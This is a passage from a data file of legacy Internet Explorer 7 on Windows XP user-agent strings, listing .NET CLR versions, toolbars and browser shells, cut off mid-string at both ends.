InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; KKman3.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Hotbar 4.5.0.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; HbTools 4.8.4; Zango 10.0.275.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.65.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; msn Optimized IE build03;JP)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; msn OptimizedIE8;JAJP; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; Zango 10.0.370.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Crazy Browser 3.0.0 Beta2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; Alexa Toolbar; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; AskTB5.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKMAN3.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKMAN3.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKMAN3.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKMAN3.2; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKman3.0; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKman3.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; KKman3.0; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Lunascape 4.0.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MEGAUPLOAD 2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MRA 4.2 (build 01102); GTB6.3; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MRA 5.2 (build 02405); GTB6.3; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Zune 4.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MS-RTC LM 8; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MS-RTC LM 8; TheWorld)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MSIE 6.0; Avant Browser; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10b; (R1 1.1); .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10b; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10b; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10b; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10b; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10b; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MathPlayer 2.10d; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; (R1 1.5); .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; Media Center PC 4.0; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; GTB6; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; Maxthon; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; FDM; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; (R1 1.6); .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1; .NET CLR 2.0.50727; Zango 10.3.37.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; MEGAUPLOAD 2.0; Seekmo 10.0.341.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; Media Center PC 4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; AskTbFXTV5/5.15.4.23821)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.1.181.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.37.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zango 10.3.74.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Zango 10.1.181.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Seekmo 10.0.427.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Zango 10.3.36.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Sleipnir/2.7.0\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; Seekmo 10.0.431.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; Zango 10.3.36.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.0.04506.648; MEGAUPLOAD 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 